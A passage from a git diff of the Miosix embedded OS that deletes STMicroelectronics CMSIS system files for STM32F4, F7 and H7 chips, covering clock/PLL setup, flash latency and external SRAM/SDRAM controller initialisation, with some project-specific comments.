used. Otherwise, this function - * may have wrong result. - * - * - The result of this function could be not correct when using fractional - * value for HSE crystal. - * - * @param None - * @retval None - */ -void SystemCoreClockUpdate(void) -{ - uint32_t tmp = 0, pllvco = 0, pllp = 2, pllsource = 0, pllm = 2; - - /* Get SYSCLK source -------------------------------------------------------*/ - tmp = RCC->CFGR & RCC_CFGR_SWS; - - switch (tmp) - { - case 0x00: /* HSI used as system clock source */ - SystemCoreClock = HSI_VALUE; - break; - case 0x04: /* HSE used as system clock source */ - SystemCoreClock = HSE_VALUE; - break; - case 0x08: /* PLL used as system clock source */ - - /* PLL_VCO = (HSE_VALUE or HSI_VALUE / PLL_M) * PLL_N - SYSCLK = PLL_VCO / PLL_P - */ - pllsource = (RCC->PLLCFGR & RCC_PLLCFGR_PLLSRC) >> 22; - pllm = RCC->PLLCFGR & RCC_PLLCFGR_PLLM; - - if (pllsource != 0) - { - /* HSE used as PLL clock source */ - pllvco = (HSE_VALUE / pllm) * ((RCC->PLLCFGR & RCC_PLLCFGR_PLLN) >> 6); - } - else - { - /* HSI used as PLL clock source */ - pllvco = (HSI_VALUE / pllm) * ((RCC->PLLCFGR & RCC_PLLCFGR_PLLN) >> 6); - } - - pllp = (((RCC->PLLCFGR & RCC_PLLCFGR_PLLP) >>16) + 1 ) *2; - SystemCoreClock = pllvco/pllp; - break; - default: - SystemCoreClock = HSI_VALUE; - break; - } - /* Compute HCLK frequency --------------------------------------------------*/ - /* Get HCLK prescaler */ - tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; - /* HCLK frequency */ - SystemCoreClock >>= tmp; -} - -//By TFT -- begin -// this was backported from an older version. Now this code seems to be -// moved in a function called HAL_something... -/** - * @brief Configures the System clock source, PLL Multiplier and Divider factors, - * AHB/APBx prescalers and Flash settings - * @Note This function should be called only once the RCC clock configuration - * is reset to the default reset state (done in SystemInit() function). - * @param None - * @retval None - */ -static void SetSysClock(void) -{ -/******************************************************************************/ -/* PLL (clocked by HSE) used as System clock source */ -/******************************************************************************/ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0; - - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != RESET) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - - if (HSEStatus == (uint32_t)0x01) - { - /* Select regulator voltage output Scale 1 mode, System frequency up to 168 MHz */ - RCC->APB1ENR |= RCC_APB1ENR_PWREN; - RCC_SYNC(); - //NOTE: this is a 1-bit field in stm32f405/407, and a 2-bit field in stm32f42x - //but in both cases the PWR_CR_VOS mask sets both bits to get the highest scaling - PWR->CR |= PWR_CR_VOS; - - /* HCLK = SYSCLK / 1*/ - RCC->CFGR |= RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK / 2*/ - RCC->CFGR |= RCC_CFGR_PPRE2_DIV2; - - /* PCLK1 = HCLK / 4*/ - RCC->CFGR |= RCC_CFGR_PPRE1_DIV4; - - /* Configure the main PLL */ - RCC->PLLCFGR = PLL_M | (PLL_N << 6) | (((PLL_P >> 1) -1) << 16) | - (RCC_PLLCFGR_PLLSRC_HSE) | (PLL_Q << 24); - - /* Enable the main PLL */ - RCC->CR |= RCC_CR_PLLON; - - #ifdef SYSCLK_FREQ_180MHz - //NOTE: stm32f42x can run up to 180MHz but require the regulator to switch - //to "overdrive mode". Stm32f405/7 don't have these registers but can't run - //at 180MHz anyway - PWR->CR |= PWR_CR_ODEN; - while((PWR->CSR & PWR_CSR_ODRDY)==0) ; - PWR->CR |= PWR_CR_ODSWEN; - while((PWR->CSR & PWR_CSR_ODSWRDY)==0) ; - #endif - - /* Wait till the main PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Configure Flash prefetch, Instruction cache, Data cache and wait state */ - #ifdef SYSCLK_FREQ_180MHz - FLASH->ACR = FLASH_ACR_ICEN | FLASH_ACR_DCEN | FLASH_ACR_LATENCY_5WS; - #elif defined(SYSCLK_FREQ_168MHz) - FLASH->ACR = FLASH_ACR_ICEN | FLASH_ACR_DCEN | FLASH_ACR_LATENCY_5WS; - #elif defined(SYSCLK_FREQ_100MHz) - FLASH->ACR = FLASH_ACR_ICEN | FLASH_ACR_DCEN | FLASH_ACR_LATENCY_3WS; - #elif defined(SYSCLK_FREQ_84MHz) - FLASH->ACR = FLASH_ACR_ICEN | FLASH_ACR_DCEN | FLASH_ACR_LATENCY_2WS; - #else - #error No flash latency for this frequency - #endif - - /* Select the main PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= RCC_CFGR_SW_PLL; - - /* Wait till the main PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS ) != RCC_CFGR_SWS_PLL) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } - -} -// By TFT -- end - -#if defined (DATA_IN_ExtSRAM) || defined (DATA_IN_ExtSDRAM) -/** - * @brief Setup the external memory controller. - * Called in startup_stm32f4xx.s before jump to main. - * This function configures the external memories (SRAM/SDRAM) - * This SRAM/SDRAM will be used as program data memory (including heap and stack). - * @param None - * @retval None - */ -void SystemInit_ExtMemCtl(void) -{ -#if defined(STM32F427xx) || defined(STM32F437xx) || defined(STM32F429xx) || defined(STM32F439xx) -#if defined (DATA_IN_ExtSDRAM) - register uint32_t tmpreg = 0, timeout = 0xFFFF; - //By TFT: added volatile otherwise GCC removes the delay loop, but why is there a delay - //loop in the first place? TODO - volatile register uint32_t index; - - /* Enable GPIOC, GPIOD, GPIOE, GPIOF, GPIOG, GPIOH and GPIOI interface - clock */ - RCC->AHB1ENR |= 0x000001F8; - RCC_SYNC(); - - /* Connect PDx pins to FMC Alternate function */ - GPIOD->AFR[0] = 0x000000CC; - GPIOD->AFR[1] = 0xCC000CCC; - /* Configure PDx pins in Alternate function mode */ - GPIOD->MODER = 0xA02A000A; - /* Configure PDx pins speed to 50 MHz */ - GPIOD->OSPEEDR = 0xA02A000A; - /* Configure PDx pins Output type to push-pull */ - GPIOD->OTYPER = 0x00000000; - /* No pull-up, pull-down for PDx pins */ - GPIOD->PUPDR = 0x00000000; - - /* Connect PEx pins to FMC Alternate function */ - GPIOE->AFR[0] = 0xC00000CC; - GPIOE->AFR[1] = 0xCCCCCCCC; - /* Configure PEx pins in Alternate function mode */ - GPIOE->MODER = 0xAAAA800A; - /* Configure PEx pins speed to 50 MHz */ - GPIOE->OSPEEDR = 0xAAAA800A; - /* Configure PEx pins Output type to push-pull */ - GPIOE->OTYPER = 0x00000000; - /* No pull-up, pull-down for PEx pins */ - GPIOE->PUPDR = 0x00000000; - - /* Connect PFx pins to FMC Alternate function */ - GPIOF->AFR[0] = 0xCCCCCCCC; - GPIOF->AFR[1] = 0xCCCCCCCC; - /* Configure PFx pins in Alternate function mode */ - GPIOF->MODER = 0xAA800AAA; - /* Configure PFx pins speed to 50 MHz */ - GPIOF->OSPEEDR = 0xAA800AAA; - /* Configure PFx pins Output type to push-pull */ - GPIOF->OTYPER = 0x00000000; - /* No pull-up, pull-down for PFx pins */ - GPIOF->PUPDR = 0x00000000; - - /* Connect PGx pins to FMC Alternate function */ - GPIOG->AFR[0] = 0xCCCCCCCC; - GPIOG->AFR[1] = 0xCCCCCCCC; - /* Configure PGx pins in Alternate function mode */ - GPIOG->MODER = 0xAAAAAAAA; - /* Configure PGx pins speed to 50 MHz */ - GPIOG->OSPEEDR = 0xAAAAAAAA; - /* Configure PGx pins Output type to push-pull */ - GPIOG->OTYPER = 0x00000000; - /* No pull-up, pull-down for PGx pins */ - GPIOG->PUPDR = 0x00000000; - - /* Connect PHx pins to FMC Alternate function */ - GPIOH->AFR[0] = 0x00C0CC00; - GPIOH->AFR[1] = 0xCCCCCCCC; - /* Configure PHx pins in Alternate function mode */ - GPIOH->MODER = 0xAAAA08A0; - /* Configure PHx pins speed to 50 MHz */ - GPIOH->OSPEEDR = 0xAAAA08A0; - /* Configure PHx pins Output type to push-pull */ - GPIOH->OTYPER = 0x00000000; - /* No pull-up, pull-down for PHx pins */ - GPIOH->PUPDR = 0x00000000; - - /* Connect PIx pins to FMC Alternate function */ - GPIOI->AFR[0] = 0xCCCCCCCC; - GPIOI->AFR[1] = 0x00000CC0; - /* Configure PIx pins in Alternate function mode */ - GPIOI->MODER = 0x0028AAAA; - /* Configure PIx pins speed to 50 MHz */ - GPIOI->OSPEEDR = 0x0028AAAA; - /* Configure PIx pins Output type to push-pull */ - GPIOI->OTYPER = 0x00000000; - /* No pull-up, pull-down for PIx pins */ - GPIOI->PUPDR = 0x00000000; - -/*-- FMC Configuration ------------------------------------------------------*/ - /* Enable the FMC interface clock */ - RCC->AHB3ENR |= 0x00000001; - RCC_SYNC(); - /* Configure and enable SDRAM bank1 */ - FMC_Bank5_6->SDCR[0] = 0x000019E0; - FMC_Bank5_6->SDTR[0] = 0x01115351; - - /* SDRAM initialization sequence */ - /* Clock enable command */ - FMC_Bank5_6->SDCMR = 0x00000011; - tmpreg = FMC_Bank5_6->SDSR & 0x00000020; - while((tmpreg != 0) && (timeout-- > 0)) - { - tmpreg = FMC_Bank5_6->SDSR & 0x00000020; - } - - /* Delay */ - for (index = 0; index<1000; index++); - - /* PALL command */ - FMC_Bank5_6->SDCMR = 0x00000012; - timeout = 0xFFFF; - while((tmpreg != 0) && (timeout-- > 0)) - { - tmpreg = FMC_Bank5_6->SDSR & 0x00000020; - } - - /* Auto refresh command */ - FMC_Bank5_6->SDCMR = 0x00000073; - timeout = 0xFFFF; - while((tmpreg != 0) && (timeout-- > 0)) - { - tmpreg = FMC_Bank5_6->SDSR & 0x00000020; - } - - /* MRD register program */ - FMC_Bank5_6->SDCMR = 0x00046014; - timeout = 0xFFFF; - while((tmpreg != 0) && (timeout-- > 0)) - { - tmpreg = FMC_Bank5_6->SDSR & 0x00000020; - } - - /* Set refresh count */ - tmpreg = FMC_Bank5_6->SDRTR; - FMC_Bank5_6->SDRTR = (tmpreg | (0x0000027C<<1)); - - /* Disable write protection */ - tmpreg = FMC_Bank5_6->SDCR[0]; - FMC_Bank5_6->SDCR[0] = (tmpreg & 0xFFFFFDFF); -#endif /* DATA_IN_ExtSDRAM */ -#endif /* STM32F427xx || STM32F437xx || STM32F429xx || STM32F439xx */ - -#if defined(STM32F405xx) || defined(STM32F415xx) || defined(STM32F407xx) || defined(STM32F417xx) || defined(STM32F427xx) || defined(STM32F437xx) || defined(STM32F429xx) || defined(STM32F439xx) -#if defined(DATA_IN_ExtSRAM) -/*-- GPIOs Configuration -----------------------------------------------------*/ - /* Enable GPIOD, GPIOE, GPIOF and GPIOG interface clock */ - RCC->AHB1ENR |= 0x00000078; - RCC_SYNC(); - /* Connect PDx pins to FMC Alternate function */ - GPIOD->AFR[0] = 0x00CCC0CC; - GPIOD->AFR[1] = 0xCCCCCCCC; - /* Configure PDx pins in Alternate function mode */ - GPIOD->MODER = 0xAAAA0A8A; - /* Configure PDx pins speed to 100 MHz */ - GPIOD->OSPEEDR = 0xFFFF0FCF; - /* Configure PDx pins Output type to push-pull */ - GPIOD->OTYPER = 0x00000000; - /* No pull-up, pull-down for PDx pins */ - GPIOD->PUPDR = 0x00000000; - - /* Connect PEx pins to FMC Alternate function */ - GPIOE->AFR[0] = 0xC00CC0CC; - GPIOE->AFR[1] = 0xCCCCCCCC; - /* Configure PEx pins in Alternate function mode */ - GPIOE->MODER = 0xAAAA828A; - /* Configure PEx pins speed to 100 MHz */ - GPIOE->OSPEEDR = 0xFFFFC3CF; - /* Configure PEx pins Output type to push-pull */ - GPIOE->OTYPER = 0x00000000; - /* No pull-up, pull-down for PEx pins */ - GPIOE->PUPDR = 0x00000000; - - /* Connect PFx pins to FMC Alternate function */ - GPIOF->AFR[0] = 0x00CCCCCC; - GPIOF->AFR[1] = 0xCCCC0000; - /* Configure PFx pins in Alternate function mode */ - GPIOF->MODER = 0xAA000AAA; - /* Configure PFx pins speed to 100 MHz */ - GPIOF->OSPEEDR = 0xFF000FFF; - /* Configure PFx pins Output type to push-pull */ - GPIOF->OTYPER = 0x00000000; - /* No pull-up, pull-down for PFx pins */ - GPIOF->PUPDR = 0x00000000; - - /* Connect PGx pins to FMC Alternate function */ - GPIOG->AFR[0] = 0x00CCCCCC; - GPIOG->AFR[1] = 0x000000C0; - /* Configure PGx pins in Alternate function mode */ - GPIOG->MODER = 0x00085AAA; - /* Configure PGx pins speed to 100 MHz */ - GPIOG->OSPEEDR = 0x000CAFFF; - /* Configure PGx pins Output type to push-pull */ - GPIOG->OTYPER = 0x00000000; - /* No pull-up, pull-down for PGx pins */ - GPIOG->PUPDR = 0x00000000; - -/*-- FMC/FSMC Configuration --------------------------------------------------*/ - /* Enable the FMC/FSMC interface clock */ - RCC->AHB3ENR |= 0x00000001; - RCC_SYNC(); -#if defined(STM32F427xx) || defined(STM32F437xx) || defined(STM32F429xx)|| defined(STM32F439xx) - /* Configure and enable Bank1_SRAM2 */ - FMC_Bank1->BTCR[2] = 0x00001011; - FMC_Bank1->BTCR[3] = 0x00000201; - FMC_Bank1E->BWTR[2] = 0x0fffffff; -#endif /* STM32F427xx || STM32F437xx || STM32F429xx || STM32F439xx */ - -#if defined(STM32F405xx) || defined(STM32F415xx) || defined(STM32F407xx)|| defined(STM32F417xx) - /* Configure and enable Bank1_SRAM2 */ - FSMC_Bank1->BTCR[2] = 0x00001011; - FSMC_Bank1->BTCR[3] = 0x00000201; - FSMC_Bank1E->BWTR[2] = 0x0FFFFFFF; -#endif /* STM32F405xx || STM32F415xx || STM32F407xx || STM32F417xx */ - -#endif /* DATA_IN_ExtSRAM */ -#endif /* STM32F405xx || STM32F415xx || STM32F407xx || STM32F417xx || STM32F427xx || STM32F437xx || STM32F429xx || STM32F439xx */ -} -#endif /* DATA_IN_ExtSRAM || DATA_IN_ExtSDRAM */ -/** - * @} - */ - -/** - * @} - */ - -/** - * @} - */ -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Source/Templates/system_stm32f7xx.c b/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Source/Templates/system_stm32f7xx.c deleted file mode 100644 index 5db05ae43..000000000 --- a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Source/Templates/system_stm32f7xx.c +++ /dev/null @@ -1,422 +0,0 @@ -/** - ****************************************************************************** - * @file system_stm32f7xx.c - * @author MCD Application Team - * @brief CMSIS Cortex-M7 Device Peripheral Access Layer System Source File. - * - * This file provides two functions and one global variable to be called from - * user application: - * - SystemInit(): This function is called at startup just after reset and - * before branch to main program. This call is made inside - * the "startup_stm32f7xx.s" file. - * - * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used - * by the user application to setup the SysTick - * timer or configure other parameters. - * - * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must - * be called whenever the core clock is changed - * during program execution. - * - * - ****************************************************************************** - * @attention - * - *

© COPYRIGHT 2016 STMicroelectronics

- * - * Redistribution and use in source and binary forms, with or without modification, - * are permitted provided that the following conditions are met: - * 1. Redistributions of source code must retain the above copyright notice, - * this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright notice, - * this list of conditions and the following disclaimer in the documentation - * and/or other materials provided with the distribution. - * 3. Neither the name of STMicroelectronics nor the names of its contributors - * may be used to endorse or promote products derived from this software - * without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" - * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE - * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR - * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER - * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, - * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE - * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - * - ****************************************************************************** - */ - -/** @addtogroup CMSIS - * @{ - */ - -/** @addtogroup stm32f7xx_system - * @{ - */ - -/** @addtogroup STM32F7xx_System_Private_Includes - * @{ - */ - -//By TFT: was #include "stm32f7xx.h", but the specific chip is #defined in -//arch_registers_impl.h -#include "interfaces/arch_registers.h" - -#if !defined (HSE_VALUE) - #define HSE_VALUE ((uint32_t)25000000) /*!< Default value of the External oscillator in Hz */ -#endif /* HSE_VALUE */ - -#if !defined (HSI_VALUE) - #define HSI_VALUE ((uint32_t)16000000) /*!< Value of the Internal oscillator in Hz*/ -#endif /* HSI_VALUE */ - -/** - * @} - */ - -/** @addtogroup STM32F7xx_System_Private_TypesDefinitions - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32F7xx_System_Private_Defines - * @{ - */ - -/************************* Miscellaneous Configuration ************************/ - -/*!< Uncomment the following line if you need to relocate your vector Table in - Internal SRAM. */ -/* #define VECT_TAB_SRAM */ -#define VECT_TAB_OFFSET 0x00 /*!< Vector Table base offset field. - This value must be a multiple of 0x200. */ -/******************************************************************************/ - -// By Alberto Nidasio and TFT -- begin -#if (HSE_VALUE % 2000000) == 0 - -//PLL input frequency set to 2MHz to reduce jitter as suggested by the datasheet. -const unsigned int PLL_M=HSE_VALUE/2000000; -#ifdef SYSCLK_FREQ_216MHz -const unsigned int PLL_Q=9; -const unsigned int PLL_R=7; -const unsigned int PLL_N=216; -const unsigned int PLL_P=2; -#else -#error Clock not selected -#endif - -#else // HSE_VALUE not divisible by 2MHz - -//PLL Input frequency set to 1MHz -const unsigned int PLL_M=HSE_VALUE/1000000; -#ifdef SYSCLK_FREQ_216MHz -const unsigned int PLL_Q=9; -const unsigned int PLL_R=7; -const unsigned int PLL_N=432; -const unsigned int PLL_P=2; -#else -#error Clock not selected -#endif - -#endif // HSE_VALUE divisibility check -// By Alberto Nidasio and TFT -- end - -/** - * @} - */ - -/** @addtogroup STM32F7xx_System_Private_Macros - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32F7xx_System_Private_Variables - * @{ - */ - - /* This variable is updated in three ways: - 1) by calling CMSIS function SystemCoreClockUpdate() - 2) by calling HAL API function HAL_RCC_GetHCLKFreq() - 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency - Note: If you use this function to configure the system clock; then there - is no need to call the 2 first functions listed above, since SystemCoreClock - variable is updated automatically. - */ -//By TFT: we increase the clock BEFORE initializing .data and .bss! -#ifdef SYSCLK_FREQ_216MHz -uint32_t SystemCoreClock = 216000000; -#else -#error No clock defined -#endif - //uint32_t SystemCoreClock = 16000000; - const uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9}; - const uint8_t APBPrescTable[8] = {0, 0, 0, 0, 1, 2, 3, 4}; - -/** - * @} - */ - -/** @addtogroup STM32F7xx_System_Private_FunctionPrototypes - * @{ - */ - -//By TFT: added PLL initialization -static void SetSysClk(void); - -/** - * @} - */ - -/** @addtogroup STM32F7xx_System_Private_Functions - * @{ - */ - -/** - * @brief Setup the microcontroller system - * Initialize the Embedded Flash Interface, the PLL and update the - * SystemFrequency variable. - * @param None - * @retval None - */ -void SystemInit(void) -{ - /* FPU settings ------------------------------------------------------------*/ - #if (__FPU_PRESENT == 1) && (__FPU_USED == 1) - SCB->CPACR |= ((3UL << 10*2)|(3UL << 11*2)); /* set CP10 and CP11 Full Access */ - #else - #error "FPU disabled!" //By TFT: added a check to be really sure the FPU is on - #endif - /* Reset the RCC clock configuration to the default reset state ------------*/ - /* Set HSION bit */ - RCC->CR |= (uint32_t)0x00000001; - - /* Reset CFGR register */ - RCC->CFGR = 0x00000000; - - /* Reset HSEON, CSSON and PLLON bits */ - RCC->CR &= (uint32_t)0xFEF6FFFF; - - /* Reset PLLCFGR register */ - RCC->PLLCFGR = 0x24003010; - - /* Reset HSEBYP bit */ - RCC->CR &= (uint32_t)0xFFFBFFFF; - - /* Disable all interrupts */ - RCC->CIR = 0x00000000; - - //By TFT -- begin - SetSysClk(); - //NOTE: we don't enable caches here because different boards may want to do - //so or not depending on whether they have external memories for code and data - //By TFT -- end - - /* Configure the Vector Table location add offset address ------------------*/ -#ifdef VECT_TAB_SRAM - SCB->VTOR = RAMDTCM_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM */ -#else - SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH */ -#endif -} - -/** - * @brief Update SystemCoreClock variable according to Clock Register Values. - * The SystemCoreClock variable contains the core clock (HCLK), it can - * be used by the user application to setup the SysTick timer or configure - * other parameters. - * - * @note Each time the core clock (HCLK) changes, this function must be called - * to update SystemCoreClock variable value. Otherwise, any configuration - * based on this variable will be incorrect. - * - * @note - The system frequency computed by this function is not the real - * frequency in the chip. It is calculated based on the predefined - * constant and the selected clock source: - * - * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) - * - * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) - * - * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) - * or HSI_VALUE(*) multiplied/divided by the PLL factors. - * - * (*) HSI_VALUE is a constant defined in stm32f7xx_hal_conf.h file (default value - * 16 MHz) but the real value may vary depending on the variations - * in voltage and temperature. - * - * (**) HSE_VALUE is a constant defined in stm32f7xx_hal_conf.h file (default value - * 25 MHz), user has to ensure that HSE_VALUE is same as the real - * frequency of the crystal used. Otherwise, this function may - * have wrong result. - * - * - The result of this function could be not correct when using fractional - * value for HSE crystal. - * - * @param None - * @retval None - */ -void SystemCoreClockUpdate(void) -{ - uint32_t tmp = 0, pllvco = 0, pllp = 2, pllsource = 0, pllm = 2; - - /* Get SYSCLK source -------------------------------------------------------*/ - tmp = RCC->CFGR & RCC_CFGR_SWS; - - switch (tmp) - { - case 0x00: /* HSI used as system clock source */ - SystemCoreClock = HSI_VALUE; - break; - case 0x04: /* HSE used as system clock source */ - SystemCoreClock = HSE_VALUE; - break; - case 0x08: /* PLL used as system clock source */ - - /* PLL_VCO = (HSE_VALUE or HSI_VALUE / PLL_M) * PLL_N - SYSCLK = PLL_VCO / PLL_P - */ - pllsource = (RCC->PLLCFGR & RCC_PLLCFGR_PLLSRC) >> 22; - pllm = RCC->PLLCFGR & RCC_PLLCFGR_PLLM; - - if (pllsource != 0) - { - /* HSE used as PLL clock source */ - pllvco = (HSE_VALUE / pllm) * ((RCC->PLLCFGR & RCC_PLLCFGR_PLLN) >> 6); - } - else - { - /* HSI used as PLL clock source */ - pllvco = (HSI_VALUE / pllm) * ((RCC->PLLCFGR & RCC_PLLCFGR_PLLN) >> 6); - } - - pllp = (((RCC->PLLCFGR & RCC_PLLCFGR_PLLP) >>16) + 1 ) *2; - SystemCoreClock = pllvco/pllp; - break; - default: - SystemCoreClock = HSI_VALUE; - break; - } - /* Compute HCLK frequency --------------------------------------------------*/ - /* Get HCLK prescaler */ - tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; - /* HCLK frequency */ - SystemCoreClock >>= tmp; -} - -//By TFT: added PLL initialization that was not present in the CMSIS code -void SetSysClk(void) -{ - register uint32_t tmpreg = 0, timeout = 0xFFFF; - -/******************************************************************************/ -/* PLL (clocked by HSE) used as System clock source */ -/******************************************************************************/ - - /* Enable Power Control clock */ - RCC->APB1ENR |= RCC_APB1ENR_PWREN; - - /* Config Voltage Scale 1 */ - PWR->CR1 |= PWR_CR1_VOS; - - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - tmpreg = RCC->CR & RCC_CR_HSERDY; - } while((tmpreg != RCC_CR_HSERDY) && (timeout-- > 0)); - - if(timeout != 0) - { - /* Select regulator voltage output Scale 1 mode */ - RCC->APB1ENR |= RCC_APB1ENR_PWREN; - - PWR->CR1 |= PWR_CR1_VOS; - - /* Enable Over Drive to reach the 216MHz frequency */ - /* Enable ODEN */ - PWR->CR1 |= 0x00010000; - timeout = 0xFFFF; - /* Wait till ODR is ready and if Time out is reached exit */ - do - { - tmpreg = PWR->CSR1 & PWR_CSR1_ODRDY; - } while((tmpreg != PWR_CSR1_ODRDY) && (timeout-- > 0)); - - /* Enable ODSW */ - PWR->CR1 |= 0x00020000; - timeout = 0xFFFF; - /* Wait till ODR is ready and if Time out is reached exit */ - do - { - tmpreg = PWR->CSR1 & PWR_CSR1_ODSWRDY; - } while((tmpreg != PWR_CSR1_ODSWRDY) && (timeout-- > 0)); - - /* HCLK = SYSCLK / 1*/ - RCC->CFGR |= RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK / 2*/ - RCC->CFGR |= RCC_CFGR_PPRE2_DIV2; - - /* PCLK1 = HCLK / 4*/ - RCC->CFGR |= RCC_CFGR_PPRE1_DIV4; - - /* Configure the main PLL */ - RCC->PLLCFGR = PLL_M | (PLL_N << 6) | (((PLL_P >> 1) -1) << 16) | - (RCC_PLLCFGR_PLLSRC_HSE) | (PLL_Q << 24) | (PLL_R << 28); - - /* Enable the main PLL */ - RCC->CR |= RCC_CR_PLLON; - } - /* Wait that PLL is ready */ - timeout = 0xFFFF; - do - { - tmpreg = (RCC->CR & RCC_CR_PLLRDY); - } while((tmpreg != RCC_CR_PLLRDY) && (timeout-- > 0)); - - if(timeout != 0) - { - /* Configure Flash prefetch, Instruction cache, Data cache and wait state */ - #ifdef SYSCLK_FREQ_216MHz - FLASH->ACR = FLASH_ACR_LATENCY_7WS; - #else - #error No wait state info for this clock frequency - #endif - - - /* Select the main PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= RCC_CFGR_SW_PLL; - - timeout = 0xFFFF; - do - { - tmpreg = (RCC->CFGR & RCC_CFGR_SWS); - } while((tmpreg != RCC_CFGR_SWS) && (timeout-- > 0)); - } -} - -/** - * @} - */ - -/** - * @} - */ - -/** - * @} - */ -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Source/Templates/system_stm32h7xx.c b/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Source/Templates/system_stm32h7xx.c deleted file mode 100644 index 7575e9fb2..000000000 --- a/miosix/arch/common/CMSIS/Device/ST/STM32H7xx/Source/Templates/system_stm32h7xx.c +++ /dev/null @@ -1,590 +0,0 @@ -/** - ****************************************************************************** - * @file system_stm32h7xx.c - * @author MCD Application Team - * @version V1.2.0 - * @date 29-December-2017 - * @brief CMSIS Cortex-Mx Device Peripheral Access Layer System Source File. - * - * This file provides two functions and one global variable to be called from - * user application: - * - SystemInit(): This function is called at startup just after reset and - * before branch to main program. This call is made inside - * the "startup_stm32h7xx.s" file. - * - * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used - * by the user application to setup the SysTick - * timer or configure other parameters. - * - * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must - * be called whenever the core clock is changed - * during program execution. - * - * - ****************************************************************************** - * @attention - * - *

© COPYRIGHT(c) 2017 STMicroelectronics

- * - * Redistribution and use in source and binary forms, with or without modification, - * are permitted provided that the following conditions are met: - * 1. Redistributions of source code must retain the above copyright notice, - * this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright notice, - * this list of conditions and the following disclaimer in the documentation - * and/or other materials provided with the distribution. - * 3. Neither the name of STMicroelectronics nor the names of its contributors - * may be used to endorse or promote products derived from this software - * without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" - * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE - * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR - * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER - * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, - * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE - * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - * - ****************************************************************************** - */ - -/** @addtogroup CMSIS - * @{ - */ - -/** @addtogroup stm32h7xx_system - * @{ - */ - -/** @addtogroup STM32H7xx_System_Private_Includes - * @{ - */ - -//By TFT: was #include "stm32f7xx.h", but the 